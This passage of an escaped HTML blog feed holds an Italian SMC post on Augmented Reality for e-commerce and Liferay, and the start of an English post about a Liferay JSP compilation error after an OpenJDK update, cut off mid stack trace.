205%202%204%204%205%204%204%200%200-3%200-3%202-3%201%201%202%200%202-1%200-3%201-3%204-1%202%202%202%202%203%201l3-2%201%201c-1%202%201%201%205-1l7-2%208-2%2010-3a432%20432%200%200130-6c1-2%208%202%208%204s4%204%209%205c5%200%2010%201%2010%203l-2%203c-2%202-3%204-1%208%200%202%201%202%207%202%2030-3%2039-2%2044%202%203%203%2010%207%2011%206%200-1-3-7-5-8l-1-3c0-5%205-4%2011%202l8%207%204%203%205%201h4v-47l-4-3-12-11c-8-8-10-9-13-9a1058%201058%200%2000-66%206c-17%201-60%206-63%208-3%200-6%2010-5%2013%203%205%200%2014-6%2017l-2%201%201-2c4%200%207-12%204-16-2-2-3-1-3%202s-1%203-3%200a378%20378%200%2001-55-2v-23c0-2%202-3%206-4s5-2%205-3l-1-4c0-2-1-2-5-1h-5l1-19%201-31V69l14%201%2027%201h13v29l-2%2031v2l-3-2c-2-1-3-3-2-3h-5c-2%201-3%206-2%207%203%202-1%202-11%201l-15-1-2%201%201%202h2c1-2%201-2%201%200l-2%202-2%202c0%202%200%202%201%201s1-1%202%201c0%202%202%203%208%205%2012%204%2012%204%2016-2l2-6c0-3%202-4%204-2%200%202%202%202%204%202%203-1%203-1%203%201s1%202%203%202c4%200%206-1%204-3-5-3-6-10-3-14s5-14%202-15V87c0-33%202-30-18-31h-39m18%2045v8c1%205%201%209-1%209l-3%202-2%202h-3v6c2%201%202%201%205-1%206-4%209-5%2020-1l4%201%201-4c4-16%206-26%203-20l-2%202c-1%200-3%204-3%208l1%201c1%200%202%201%201%202%200%203-5%205-7%204l-6-1-5-1c-1-1%200-6%201-6l2-3c1-3%201-7-1-7l-1-1c0-3-3-2-4%200m-40%20103c-4%204-14%2020-14%2021l3-1%201-1c0%202%201%202%202%200l5-9%204-3c2-2%203-3%202-6-1-2-2-2-3-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/40bf3eda8e992d20ce4f8478a4f12c02/c85cb/ar.webp 300w,/static/40bf3eda8e992d20ce4f8478a4f12c02/e88ff/ar.webp 600w,/static/40bf3eda8e992d20ce4f8478a4f12c02/92f8c/ar.webp 1200w,/static/40bf3eda8e992d20ce4f8478a4f12c02/62ed8/ar.webp 1800w,/static/40bf3eda8e992d20ce4f8478a4f12c02/882b9/ar.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/40bf3eda8e992d20ce4f8478a4f12c02/f93b5/ar.jpg 300w,/static/40bf3eda8e992d20ce4f8478a4f12c02/b4294/ar.jpg 600w,/static/40bf3eda8e992d20ce4f8478a4f12c02/e5166/ar.jpg 1200w,/static/40bf3eda8e992d20ce4f8478a4f12c02/d9c39/ar.jpg 1800w,/static/40bf3eda8e992d20ce4f8478a4f12c02/0f98f/ar.jpg 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;L&amp;#x27;app di IKEA con AR Placement&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/40bf3eda8e992d20ce4f8478a4f12c02/e5166/ar.jpg&quot; title=&quot;L&amp;#x27;app di IKEA con AR Placement&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;L&amp;#x27;app di IKEA con AR Placement&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;L&amp;#x27;Augmented Reality non si ferma all&amp;#x27;arredamento e all&amp;#x27;elettronica, è facilmente applicabile a molti altri prodotti, come ad esempio l&amp;#x27;automotive, o anche l&amp;#x27;abbigliamento. In questo caso si parla di Virtual TryOn, e permette di usare il corpo umano come scena per collocare occhiali, scarpe o altro ancora.&lt;/p&gt;&lt;div class=&quot;Quote-module--content--25D05 Quote-module--noBorder--a6L4Q&quot;&gt;&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Gucci’s new &lt;a href=&quot;https://twitter.com/hashtag/AR?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#AR&lt;/a&gt; try-on app is pretty cool &lt;a href=&quot;https://t.co/Qsq4Oybjsf&quot;&gt;https://t.co/Qsq4Oybjsf&lt;/a&gt; &lt;a href=&quot;https://t.co/ytXqJdQk4E&quot;&gt;pic.twitter.com/ytXqJdQk4E&lt;/a&gt;&lt;/p&gt;— Ricardo 🇭🇰 (@RicO2O) &lt;a href=&quot;https://twitter.com/RicO2O/status/1144538565210079233?ref_src=twsrc%5Etfw&quot;&gt;June 28, 2019&lt;/a&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;h1 id=&quot;cosa-frena-la-sua-adozione&quot;&gt;Cosa frena la sua adozione?&lt;/h1&gt;&lt;p&gt;Alla luce di tutti questi vantaggi, viene naturale chiedersi, perchè non è già in uso ovunque? La risposta è che, purtroppo, allo stato attuale ci sono ancora alcuni punti irrisolti, sia dal punto di vista tecnologico che di design.&lt;/p&gt;&lt;p&gt;Sviluppare esperienze immersive come l&amp;#x27;Augmented Reality, soprattutto quando ex–novo, è un cambio di paradigma radicale rispetto al tradizionale sviluppo web, e richiede un intero staff preparato, dagli artisti agli sviluppatori, a sviluppare e gestire contenuti immersivi e 3D. Sappiamo quanto siano rari sviluppatori e artisti capaci di gestire i contenuti 3D, e per questo possiamo dire che trovarli sia un evento quasi come una «congiunzione astrale».&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6dbdfa75ab98c96586f5e64aa4dd0061/0f98f/congiunzione_astrale.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2017c0%2016%200%2017%202%2016l3-1%203-3%202-2c1%201%203-1%203-3l3-4c4-3%204-3%203-6l-2-2-1-2-2-6c-2-4-3-4-8-4H0v17M61%202c0%202%203%203%203%201l4%202%203%204v2l1-1c0-2%201-2%204-2s4%200%204-2l1-1v4c-1%209-1%209%203%2010s8%205%208%207l-2%204c-2%202-2%204-2%207%201%203%201%203-4%205l-4%202%202%203c2%203%202%203%201%204v1l-1%202c-2%201-2%201%201%201%204-1%208%205%203%206-3%201-5-1-4-3l-1-2h-1c0-2-2%200-3%204-1%203-1%204%201%206l1%203v3c0%202-1%203-2%201v1c0%202%200%202-1%201-1-2-4%201-4%204l-1%201-1%202v1l-1%201h-2c-3-2-4%200-1%201%202%202%200%205-3%205v5l-2-3-2-1h-1l-4-1-4-2c-2%200-2%200-2%202l-2%202c-2%200-4-3-2-4%201-1%200-2-1-4-3-5-3-5-5-1-1%204-2%204-4%200v-3c2-1%201-5-2-5l-2-2%201-1%201-1-1-2-5-4-5-4-3-2c0-3-2-4-2-2l-4%201-4-1-4-1H0v169h401v-57l-1-113V0H230C62%200%2061%200%2061%202m155%2034l-3%204v1l-1%203-2%202c1%201%200%202-1%202-2%201-2%201-1%203%200%202%200%202-1%201l-3-1%201%202c2%200%202%200%200%202l-2%202-1%204-3%204-2%201c-2%200-4%203-3%205%203%202%206%202%207-1l2-3c2-1%202-1%200-3v-2c3%201%204%200%203-1v-2c1%200%202-1%201-2h2c-1-1%200-2%201-2v-1c-1-1-1-1%201-1l2-3c-1-1%200-1%201-1%202%201%202%201%201-2-1-2%200-3%201-3%202-1%203-3%201-3l-1-1h2v-1c-2-2-1-3%201-3h3c0-1%200-2-3-3-3%200-3%200-3%203M93%2063l1%202c2%200%203%202%203%204%201%205%203%206%208%204%203-1%204-1%205%201h2c1-1%201-3-1-3-1%200-2-1-2-3-1-4-3-6-6-6-4%200-4%201-2%203v2l-2-1-2-2-3-2-1%201m187%204l-2%203-1%202-2%203-1%202-1%201-1%202-1%202c-1%200-2%201-1%203l-1%201-1%201v1l-1%201c1%201%200%202-1%202v1l-1%201-1%202-1%202c-1-1-5%201-5%203%200%200%201%202%203%202%203%202%203%202%204%200v-5h3v-2l-1-1%202-1c2%200%203-1%201-3v-1h3v-2l-1-1%204-3%201-2%201-1c1%200%202-1%201-2l2-4%201-2h-2c0-2%200-2%202-1%202%200%202%200%201-2-2-2-2-2%200-2h2l1-1c-1-3-5-2-6%201M90%2083l-2%203-1%203c-1%201-2%202-1%203l-1%201-3%203c-1%203-3%205-4%204l-1%201%201%201-1%203-2%204-2%201c-3%200-5%204-2%206l4%202%203-5%202-3%203-5%202-2c2-1%203-1%202-3l-2-1h-1l2-1c2%200%202%200%200-2h3l2-4c2-2%202-2%200-4-1-2-1-2%201-2l3-1c0-1%200-2-2-2v-2c0-1-2%200-3%202m-37%209l1%202c1%200%201%201-1%203l-1%203-1%202c-3%201-1%203%202%205h3l1-3v-3c2%200%205-6%204-7-5-3-7-3-8-2m119%202c-2%201-5%202-6%204l-5%202v6c-3%2016%2019%2024%2028%2011%205-8%201-20-8-22-5-2-5-2-9-1m-57%206l-1%203-1%201-1%201c0%201-1%202-2%201-2%200-2%200-1%201v2c-1%200-2%205-1%206s0%201-1%201c-3%200-4%201-2%204%202%202%205%203%203%201l2-3c2-2%202-2%200-4-1-1-1-1%203-1l2-1v-1l1-1v-1l1-2%201-2%201-1-1-1-2-1h5c1-4-3-5-6-2m-68%208c0%201-1%202-2%201-2%200-3%202%200%203l-1%201-1%203c1%201%201%201-1%201h-1c1%203%201%205-1%206l-2%201-1%201c-2%200-2%202-1%204%201%201%201%201-1%201-4%200-4%201%200%203l3%201v-2l1-2%201-1c1%201%204-2%204-4%200-1%200-2%201-1l1-1%203-6%201-2%201-2c2%200%202-3-1-5h-3m53%2014l1%201v2l-1%202-1%201c-1%200-2%201-1%202h-3l1%201v3l-4%204-2%202c-2%202-2%202%200%204%203%203%205%202%206-1%200-2%201-3%203-4%202%200%203-2%203-5v-2l3-4%202-4-2-1c-3-2-5-2-5-1m135%2013l-1%202h-2l-3%201c-1%201-1%201%201%201h2l-2%201v1l1%202%2013%201%204-1-2-1c-2%200-3%200-4-2-2-4-3-6-5-6l-2%201m66%2038c-8%202-8%2013%200%2014%205%201%209-3%209-8%200-1-5-7-7-7l-2%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6dbdfa75ab98c96586f5e64aa4dd0061/c85cb/congiunzione_astrale.webp 300w,/static/6dbdfa75ab98c96586f5e64aa4dd0061/e88ff/congiunzione_astrale.webp 600w,/static/6dbdfa75ab98c96586f5e64aa4dd0061/92f8c/congiunzione_astrale.webp 1200w,/static/6dbdfa75ab98c96586f5e64aa4dd0061/62ed8/congiunzione_astrale.webp 1800w,/static/6dbdfa75ab98c96586f5e64aa4dd0061/882b9/congiunzione_astrale.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6dbdfa75ab98c96586f5e64aa4dd0061/f93b5/congiunzione_astrale.jpg 300w,/static/6dbdfa75ab98c96586f5e64aa4dd0061/b4294/congiunzione_astrale.jpg 600w,/static/6dbdfa75ab98c96586f5e64aa4dd0061/e5166/congiunzione_astrale.jpg 1200w,/static/6dbdfa75ab98c96586f5e64aa4dd0061/d9c39/congiunzione_astrale.jpg 1800w,/static/6dbdfa75ab98c96586f5e64aa4dd0061/0f98f/congiunzione_astrale.jpg 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Congiunzione Astrale: figure difficili da trovare&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6dbdfa75ab98c96586f5e64aa4dd0061/e5166/congiunzione_astrale.jpg&quot; title=&quot;Congiunzione Astrale: figure difficili da trovare&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Congiunzione Astrale: figure difficili da trovare&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h2 id=&quot;user-coverage&quot;&gt;User Coverage&lt;/h2&gt;&lt;p&gt;Un altro problema è la gestione della fruizione di questo tipo di esperienze.&lt;/p&gt;&lt;p&gt;Un KPI fondamendale che in SMC usiamo per valutare l&amp;#x27;efficacia delle esperienze immersive è il &lt;strong&gt;Time to First Experience&lt;/strong&gt;, ovvero, il tempo che intercorre tra quando scopro l&amp;#x27;esistenza di una funzionalità a quando sono competente e soddisfatto nel suo utilizzo. Minimizzando questo tempo possiamo aumentare di molto la retention degli utenti nell&amp;#x27;esperienza, visto che ogni secondo in più che l&amp;#x27;utente passa ad aspettare, raddoppia la probabilità di uscire dall&amp;#x27;applicazione e lasciare perdere.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0ed00d7e5bd30cf6aa84797e91e52861/29114/timeline.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:35.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;141\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20141\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M39%2041c0%205%200%205%201%201v-5h315v5c1%204%201%204%201-1v-6H39v6m-2%2018l1%201%202%201-2%201v1h1l1%201-2%201v2h1l1%201c0%201-5%203-9%203l-4%202%20168%201h168v5l5-3c6-3%206-3%200-6l-5-3v2c0%203-3%203-7%201l-2%201a1354%201354%200%2001-95-2v-7l1-2c0-2-6-2-111-2L37%2059m211%2037c0%202%203%203%203%200h1c1%202%2018%203%2018%200h1c0%204%208%202%208-2h-1l-2%201c-1-1-18-2-21-1h-4c-3-1-3-1-3%202m-193%205l-5%201-5%201h-1l-4-1h-4l-1-1-12%201c-2-1-2-1-2%201v3h10l11-1h1l4%201%204-1h1l3%201%203-1c0-2-3-6-3-4m197%201h-6c-5%200-6%201-6%202%200%202%209%202%209%200h1l2%202%201-2h1l1%202h1l9-1h1l5%201c4%200%205-1%205-2%200-2-1-2-2-2h-2c-1-1-10%200-10%202h-1c0-2-1-2-3-2h-6m-16%209l1%203%201-1%201-2%201%201c0%202%204%203%206%202h19c12%200%2015-1%2015-2l-6-1-6-1h-13l-1-1-2%201-13-1c-3%200-3%200-3%202m120-1l-5%201c-4-1-5%200-4%201%200%203%2021%202%2022%200h1c0%202%203%203%203%201h1c1%202%208%201%208-1l-2-1-2-1h-22\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0ed00d7e5bd30cf6aa84797e91e52861/c85cb/timeline.webp 300w,/static/0ed00d7e5bd30cf6aa84797e91e52861/e88ff/timeline.webp 600w,/static/0ed00d7e5bd30cf6aa84797e91e52861/92f8c/timeline.webp 1200w,/static/0ed00d7e5bd30cf6aa84797e91e52861/62ed8/timeline.webp 1800w,/static/0ed00d7e5bd30cf6aa84797e91e52861/882b9/timeline.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0ed00d7e5bd30cf6aa84797e91e52861/5a46d/timeline.png 300w,/static/0ed00d7e5bd30cf6aa84797e91e52861/0a47e/timeline.png 600w,/static/0ed00d7e5bd30cf6aa84797e91e52861/c1b63/timeline.png 1200w,/static/0ed00d7e5bd30cf6aa84797e91e52861/d61c2/timeline.png 1800w,/static/0ed00d7e5bd30cf6aa84797e91e52861/29114/timeline.png 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;La Timeline del Time to First Experience&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0ed00d7e5bd30cf6aa84797e91e52861/c1b63/timeline.png&quot; title=&quot;La Timeline del Time to First Experience&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;La Timeline del Time to First Experience&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sappiamo che possiamo gestire il &lt;strong&gt;Learn Time&lt;/strong&gt;, ovvero il tempo che l&amp;#x27;utente impiega a imparare come utilizzare l&amp;#x27;applicazione, applicando buoni principi di &lt;em&gt;User Experience&lt;/em&gt; e &lt;em&gt;UI Design&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Il &lt;strong&gt;Setup Time&lt;/strong&gt;, invece, è un tempo tecnologico, e include lo scaricamento dell&amp;#x27;applicazione e il suo caricamento in memoria. Sappiamo come, purtroppo, le app native (per Android e iOS) sono notoriamente difficili da questo punto di vista:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Richiedono del tempo per essere scaricate, dipendente anche dalla rete&lt;/li&gt;&lt;li&gt;Possono essere molti grandi (centinaia di MB), e non tutti gli utenti possono avere lo spazio a disposizione nel proprio device&lt;/li&gt;&lt;li&gt;Non tutti gli utenti sono disposti ad installare una nuova app nel proprio smartphone/tablet&lt;/li&gt;&lt;/ul&gt;&lt;h2 id=&quot;contenuti&quot;&gt;Contenuti&lt;/h2&gt;&lt;p&gt;Per realizzare esperienze AR di qualità sono necessari dei contenuti 3D. Trovare persone che siano in grado di creare e gestire contenuti di questo tipo non è affatto semplice.&lt;/p&gt;&lt;p&gt;Se parliamo di un E–Commerce, ad esempio, sono necessari dei modelli 3D che rappresentino i prodotti:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Possono essere realizzati ex novo, partendo da foto, ma è necessario avere degli artisti 3D in grado di farlo;&lt;/li&gt;&lt;li&gt;Possono essere fatti mediante scansione 3D, ma se non realizzata correttamente può portare a performance basse;&lt;/li&gt;&lt;li&gt;Possono essere realizzati partendo dai modelli CAD usati per la produzione, ma vanno corretti per aggiungere i giusti materiali e ottimizzazioni.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;A questo si aggiunge il problema della giungla dei diversi formati 3D utilizzati dalle varie piattaforme, non sempre compatibili fra loro.&lt;/p&gt;&lt;h1 id=&quot;come-smc-sta-rispondendo&quot;&gt;Come SMC sta Rispondendo&lt;/h1&gt;&lt;p&gt;Lo scopo di SMC in questo scenario è quello di cambiare tutto ciò, creando degli strumenti in grado di abilitare i propri clienti a seguire una strategia immersiva, con il minor effort tecnologico possibile.&lt;/p&gt;&lt;p&gt;Il modo in cui stiamo facendo ciò è sviluppare strumenti che abilitino i &lt;strong&gt;Redattori&lt;/strong&gt;, in modo che possano gestire con facilità i contenuti di tipo immersivo.&lt;/p&gt;&lt;p&gt;Ne abbiamo parlato anche al Liferay Italian Symposium 2019.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--content--1lxMp&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--margin--D5-Qe&quot;&gt;&lt;iframe class=&quot;YoutubeVideo-module--video--2DWHr&quot; src=&quot;https://www.youtube.com/embed/BgzomCzLpRw&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;La soluzione che offriamo prevede un&amp;#x27;integrazione completa dei contenuti immersivi con Liferay e Liferay Commerce:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Conversione&lt;/strong&gt; e &lt;strong&gt;Ottimizzazione&lt;/strong&gt; degli asset in formati standard&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Creazione&lt;/strong&gt; e &lt;strong&gt;composizione&lt;/strong&gt; di contenuti per formare Esperienze Immersive complete&lt;/li&gt;&lt;li&gt;Strumenti totalmente &lt;strong&gt;browser–based&lt;/strong&gt;, che non necessitano di software o app native&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Integrazione&lt;/strong&gt; con servizi, app e social network.&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;background-position:50% 50%;background-size:cover&quot; class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;PostCTA-module--container--1jQBk&quot;&gt;&lt;div class=&quot;PostCTA-module--content--X27Xv&quot;&gt;&lt;h2 class=&quot;PostCTA-module--title--20VJu&quot;&gt;Vuoi scoprire come utilizzare contenuti immersivi sul tuo E-Commerce o sul tuo sito web?&lt;/h2&gt;&lt;a class=&quot;PostCTA-module--cta--Q2ezQ&quot; href=&quot;https://www.smc.it/contatta-smc&quot;&gt;Contattaci ora&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Override LPKG]]></title><link>https://techblog.smc.itoverride-lpkg-come-applicare-fix-a-liferay</link><guid isPermaLink="false">https://techblog.smc.itoverride-lpkg-come-applicare-fix-a-liferay</guid><pubDate>Fri, 01 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A few days ago I had the happy idea of updating the version of
&lt;a href=&quot;https://openjdk.java.net/&quot;&gt;OpenJDK&lt;/a&gt; from 11.0.5 to 11.0.6. It seemed that
everything went in the right direction but I was struck by the famous proverb&lt;/p&gt;&lt;blockquote class=&quot;ContainerBleed-module--bleed--xdVv_ BigBlockquote-module--root--6Kp0m&quot;&gt;&lt;div class=&quot;BigBlockquote-module--content--exgDP&quot;&gt;&lt;div&gt;Don&amp;#x27;t leave the old road for the new one&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;When starting &lt;a href=&quot;https://liferay.dev/blogs/-/blogs/liferay-portal-7-2-ce-ga2-release&quot;&gt;Liferay Portal 7.2 GA2 CE&lt;/a&gt;
here you will see the pretty hateful error indicated below (in console 1).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;javascript&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;Caused&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; by: &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;apache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;jasper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JasperException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: PWC6033: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Javac&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;compilation&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JSP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;apache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;jasper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspCompilationContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;compile&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspCompilationContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;655&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;apache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;jasper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;servlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspServletWrapper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span 